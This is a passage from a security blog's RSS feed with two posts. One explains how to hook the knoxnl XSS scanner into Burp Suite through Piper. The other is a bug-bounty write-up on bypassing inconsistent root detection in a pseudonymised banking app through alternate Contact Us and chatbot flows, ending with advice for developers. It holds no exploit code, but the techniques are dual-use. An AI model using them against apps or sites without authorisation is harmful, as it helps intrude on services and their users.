]]></content:encoded></item><item><title><![CDATA[Adding Knoxnl (KNOXSS) to Burp]]></title><description><![CDATA[Open Burp > Extensions

Install Piper

Go to Piper > Context menu items

Click on Add Button and Enter Name as “knoxnl”

In the Add menu item dialog box, enter the Name as knoxnl and change the Can handle... drop down to HTTP requests only.

Change b...]]></description><link>https://blog.bhuwanbhetwal.com.np/adding-knoxnl-knoxss-to-burp</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/adding-knoxnl-knoxss-to-burp</guid><category><![CDATA[Knoxnl]]></category><category><![CDATA[KNOXSS]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[XSS]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Thu, 07 Nov 2024 04:47:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735109700534/5dc55d68-2454-4ec8-9c44-71974fac469f.gif" length="0" type="image/jpeg"/><content:encoded><![CDATA[<ul>
<li><p>Open Burp &gt; Extensions</p>
</li>
<li><p>Install Piper</p>
</li>
<li><p>Go to Piper &gt; Context menu items</p>
</li>
<li><p>Click on Add Button and Enter Name as “knoxnl”</p>
</li>
<li><p>In the <strong>Add menu item</strong> dialog box, enter the <strong>Name</strong> as <code>knoxnl</code> and change the <strong>Can handle...</strong> drop down to <code>HTTP requests only</code>.</p>
</li>
<li><p>Change both the <strong>Minimum required number of selected items</strong> and <strong>Maximum allowed number of selected items</strong> values to <code>1</code></p>
</li>
<li><p>Click <strong>Edit Button on Command</strong> and the <strong>Command invocation editor</strong> dialog box should be displayed</p>
</li>
<li><p>Now on the “Add Parameter:” input field you’ll need your python3 installed binary, your knoxnl.py file and commands and arguments.</p>
</li>
<li><p>Here’s How you do it:</p>
</li>
<li><p>Enter “which python3” on terminal and you’ll get <code>/usr/bin/python3</code></p>
</li>
<li><p>Go to knoxnl directory (<a target="_blank" href="https://github.com/xnl-h4ck3r/knoxn">https://github.com/xnl-h4ck3r/knoxn</a>l)</p>
</li>
<li><p>Search for python file (knoxnl.py) and enter pwd in your terminal and you’ll get <code>/home/intheshell/Tools/knoxnl/knoxnl</code> something like this (may deffer according to your folder)</p>
</li>
<li><p>Now enter Commands such as <code>--burp-piper</code> <code>-X</code> <code>BOTH</code> <code>-A your_knoxss_api_key</code></p>
</li>
<li><p>Get your api key from <a target="_blank" href="https://knoxss.me/">https://knoxss.me/</a></p>
</li>
<li><p>Remember to enter one command per line . For example see the image to understand it properly.</p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*oCAwQTagZ8Q6RRpO0bJ7_A.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*7R3DDap1q5kSikoCDEFKvA.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*wWaUkEsqNqDvoC9YgIOQew.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*yplD-tEw_SxD-ocGGhPCAg.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*LDF5C5JVAPnHyagYOfYRUw.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*bvb8y4ovm7cKtKzPZ4-ERQ.png" alt /></p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*qgbLP9nR9kYz_ewrskyhsg.png" alt /></p>
<ul>
<li><p>Click the <strong>OK</strong> button on the <strong>Command invocation editor</strong> dialog box.</p>
</li>
<li><p>Click the <strong>OK</strong> button on the <strong>Edit menu item</strong> dialog box.</p>
</li>
</ul>
</li>
<li><p>Now It’s Ready</p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:700/1*3__TgDySkaEo_Z4g8tChyw.png" alt /></p>
<p>  Now to scan for XSS, right click on a Request and select <strong>Extensions -&gt; Piper -&gt; Process 1 request -&gt; knoxnl</strong>.</p>
<p>  A window should open with the title <strong>Piper — knoxnl</strong>. This <strong>Piper</strong> window stays blank until the command is complete (which could be up to 180 seconds — the default value of <code>-t</code>/<code>--timeout</code>).</p>
<p>  <img src="https://miro.medium.com/v2/resize:fit:673/1*KiYYXK0NqO-znqY4Ws76NA.png" alt /></p>
<p>  So Just wait and When complete, it should show the <strong>knoxnl</strong> output in the same way as on the command line version as shown below.</p>
<p>  Just close the window when you have finished.  </p>
<p>  All the references are taken from<br />  <a target="_blank" href="https://github.com/xnl-h4ck3r/knoxnl#using-in-burp-suite-proxy">https://github.com/xnl-h4ck3r/knoxnl#using-in-burp-suite-proxy</a></p>
<p>  ##Note: The API key shown above is a Randomly generated Key.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Bypassing Root Detection in EvilCorp Mobile App (Without Runtime Tools)]]></title><description><![CDATA[I recently stumbled upon an interesting misconfiguration in the EvilCorp Bug Bounty Program. The Android application had Root/Jailbreak Detection enabled, and my goal was to bypass it without relying on runtime manipulation tools like Frida, Objectio...]]></description><link>https://blog.bhuwanbhetwal.com.np/bypassing-root-detection-in-evilcorp-mobile-app-without-runtime-tools</link><guid isPermaLink="true">https://blog.bhuwanbhetwal.com.np/bypassing-root-detection-in-evilcorp-mobile-app-without-runtime-tools</guid><category><![CDATA[#RootDetectationByPass]]></category><category><![CDATA[pentesting fundamentals]]></category><category><![CDATA[frida]]></category><category><![CDATA[bypass]]></category><category><![CDATA[Code Quality]]></category><dc:creator><![CDATA[Bhuwan Bhetwal]]></dc:creator><pubDate>Thu, 29 Aug 2024 14:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756954792576/784e4337-114a-435f-a3de-ac17b70b2b9b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I recently stumbled upon an interesting misconfiguration in the EvilCorp Bug Bounty Program. The Android application had <strong>Root/Jailbreak Detection</strong> enabled, and my goal was to bypass it without relying on runtime manipulation tools like Frida, Objection or MagiskHide.</p>
<hr />
<h2 id="heading-understanding-root-detection">Understanding Root Detection</h2>
<p>Root detection is a common defence mechanism in mobile apps. It prevents rooted or jailbroken devices from accessing sensitive features. The logic is simple: a rooted device can bypass restrictions, manipulate data, and even exploit app logic. For financial apps especially, consistent enforcement of root detection is critical.</p>
<p>But EvilCorp’s implementation wasn’t consistent. That inconsistency opened the door for me to bypass root detection entirely and carry out normal user flows on a rooted device.</p>
<hr />
<h2 id="heading-initial-setup">Initial Setup</h2>
<ul>
<li><p>Prepared a Genymotion emulator (rooted)</p>
</li>
<li><p>Installed the EvilCorp app</p>
</li>
<li><p>Launched the app → greeted with the usual <em>“Root devices not supported!”</em> warning screen</p>
</li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/1000/1*0SOzlilKipTKaf4yXTubmw.png" alt class="image--center mx-auto" /></p>
<p>This was expected. Many apps either crash, block execution, or show a custom error message when root is detected.</p>
<p>So far, nothing unusual.</p>
<hr />
<h2 id="heading-digging-deeper">Digging Deeper</h2>
<p>I grabbed the APK and decoded it with <strong>JADX-GUI</strong>. Searched for strings like <code>root</code>, <code>root-detection</code>, <code>rooted</code>. Read a bit of the logic, then went back to explore the UI.</p>
<p>That’s when I noticed a <strong>“Contact Us”</strong> button.</p>
<p>On a rooted device, Frida scripts weren’t helping, so I switched tactics. I installed the app on a normal phone just to see what was behind “Contact Us.” Instead of a form, it revealed a full list of support options.</p>
<p>At this point I had a hunch.</p>
<hr />
<h2 id="heading-the-alternate-channel-trick">The Alternate Channel Trick</h2>
<p>Here’s what I did:</p>
<ol>
<li><p>Turned <strong>off my VPN</strong> connection.</p>
</li>
<li><p>Removed any proxy/VPN configuration from my PC.</p>
</li>
<li><p>Cleared the EvilCorp app’s cache/storage.</p>
</li>
<li><p>Reopened the app.</p>
</li>
</ol>
<p>Surprisingly, the <strong>Contact Us</strong> page was now accessible, even on a rooted device. When I re-enabled VPN, it stopped working. Disabling it again → accessible.</p>
<p>Then I tried with a <strong>custom WiFi proxy</strong> and captured traffic successfully. Effectively, the root detection had been bypassed through this alternate channel.</p>
<hr />
<h2 id="heading-why-did-this-work">Why Did This Work?</h2>
<p>The root detection bypass happened because EvilCorp <strong>only enforced checks in certain parts of the app</strong>:</p>
<ul>
<li><p>At <strong>startup/login</strong>, the app checked for root and blocked the user.</p>
</li>
<li><p>But in <strong>secondary flows</strong> (like Contact Us and Help pages), the check was skipped.</p>
</li>
<li><p>On top of that, the Contact Us activity behaved differently depending on VPN/proxy usage, suggesting the developers bundled VPN checks with root checks in the same logic. Disabling VPN caused the root check branch to fail, leaving the page accessible.</p>
</li>
<li><p>From there, the “Chat with Us” flow reused registration components that didn’t enforce root detection either.</p>
</li>
</ul>
<p>This is a classic case of <strong>inconsistent security enforcement</strong>: a protection works in one place but is missing in another. Once a single alternate path exists, the entire defense is effectively broken.</p>
<hr />
<h2 id="heading-escalating-the-test">Escalating the Test</h2>
<p>Inside <strong>Help &amp; Support</strong>, I found <strong>“Chat with us”</strong> → EvilCorp’s chatbot, <em>EC Buddy</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756636220879/868a62b7-7cd9-473f-bbb3-7030f769e4b3.png" alt class="image--center mx-auto" /></p>
<p>I compared EC Buddy’s responses on:</p>
<ul>
<li><p>A <strong>rooted device (logged out)</strong></p>
</li>
<li><p>A <strong>normal device (logged in)</strong></p>
</li>
</ul>
<p>Key observation:</p>
<ul>
<li><p>If logged out → EC Buddy only offered “Login” or “Back to Main Menu”</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756636427150/651e92e0-3b22-47d9-8cc9-bb7346cea673.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>If logged in → EC Buddy exposed flows like <strong>KYC</strong> and <strong>Bank Account options.</strong></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756636559306/eb61ce1d-0f46-4b4c-8088-40d8952f871a.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p>But here’s the catch. Even while rooted and logged out, EC Buddy still gave me the <strong>“Create Account for Free”</strong> path.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683381666/fe4740b4-6c7f-4958-ab95-2250f2b70889.png" alt class="image--center mx-auto" /></p>
<p>So I clicked it.</p>
<hr />
<h2 id="heading-account-registration-on-a-rooted-device">Account Registration on a Rooted Device</h2>
<p>The flow went like this:</p>
<ol>
<li><p>Clicked <em>“Create Account”</em></p>
</li>
<li><p>Landed on the registration page</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683459981/50bbe855-3b09-4209-9a1e-6cea76eac11f.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Filled details → OTP sent</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683498143/d179170d-8b1d-4683-8897-d99678f50ca3.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Successfully received OTP</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683582222/bb2651b2-e098-4e83-9416-66b99cc53cf0.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Registered the account</p>
</li>
</ol>
<p>At this point, I had a fully working registered account from a rooted device.</p>
<p>For completeness, I also:</p>
<ul>
<li><p>Verified OTP flow</p>
</li>
<li><p>Reset the password (got OTP by mail + SMS)</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683744803/47554a4d-a7d3-4223-b78d-2d0e2c83efc5.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756683909464/50c2110a-c948-43d1-98ab-2e22a4d7187c.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Logged in with the new password</p>
</li>
</ul>
<p>All steps worked on the rooted device.</p>
<p>The only limitation: once logged in, content pages showed <em>“Check your connection”</em> as the root detection is checked on the Main Activity. But the entire <strong>registration + password reset + login flow worked</strong>, something root detection was supposed to block.</p>
<hr />
<h2 id="heading-proof-of-concept-poc">Proof of Concept (POC)</h2>
<ul>
<li><p>Registered multiple accounts from rooted devices</p>
</li>
<li><p>Screen-recorded full flow</p>
</li>
<li><p>Showed OTP delivery (SMS + email)</p>
</li>
<li><p>Compared EC Buddy responses across rooted vs. non-rooted environments</p>
</li>
</ul>
<hr />
<h2 id="heading-program-response">Program Response</h2>
<p>I submitted the findings with full POCs. The triager’s final response:</p>
<blockquote>
<p><em>“As you can’t login, we don’t identify any real security impact.”</em></p>
</blockquote>
<p>The report was closed as <strong>informational</strong>.</p>
<hr />
<h2 id="heading-lessons-for-developers">Lessons for Developers</h2>
<p>This bug is a good reminder that:</p>
<ul>
<li><p><strong>Root detection must be consistent.</strong> Applying checks only at login or splash screen isn’t enough.</p>
</li>
<li><p><strong>Alternate paths matter.</strong> Even “harmless” flows like Contact Us or ChatBot can indirectly lead to sensitive functionality.</p>
</li>
<li><p><strong>Don’t bundle checks together.</strong> Root detection, VPN detection, and emulator detection should be handled independently. Otherwise, a bypass in one can weaken the others.</p>
</li>
</ul>
<hr />
<h2 id="heading-reflections">Reflections</h2>
<p>Sometimes, bug bounty reports get misunderstood. The impact here was clear: EvilCorp’s root detection was inconsistently enforced, allowing critical flows like account registration and password reset from a rooted environment.</p>
<p>But as often happens in bug bounty:</p>
<ul>
<li><p>Some triagers lack context</p>
</li>
<li><p>Some programs don’t value certain classes of issues</p>
</li>
<li><p>Sometimes it’s just bad luck</p>
</li>
</ul>
<p>The program eventually moved platforms, but this experience highlights why root detection should be consistent across all app activities.</p>
<hr />
<h2 id="heading-timeline">Timeline</h2>
<ul>
<li><p><strong>Reported:</strong> 2024–06–19</p>
</li>
<li><p><strong>Closed as Informational:</strong> 2024–08–01</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>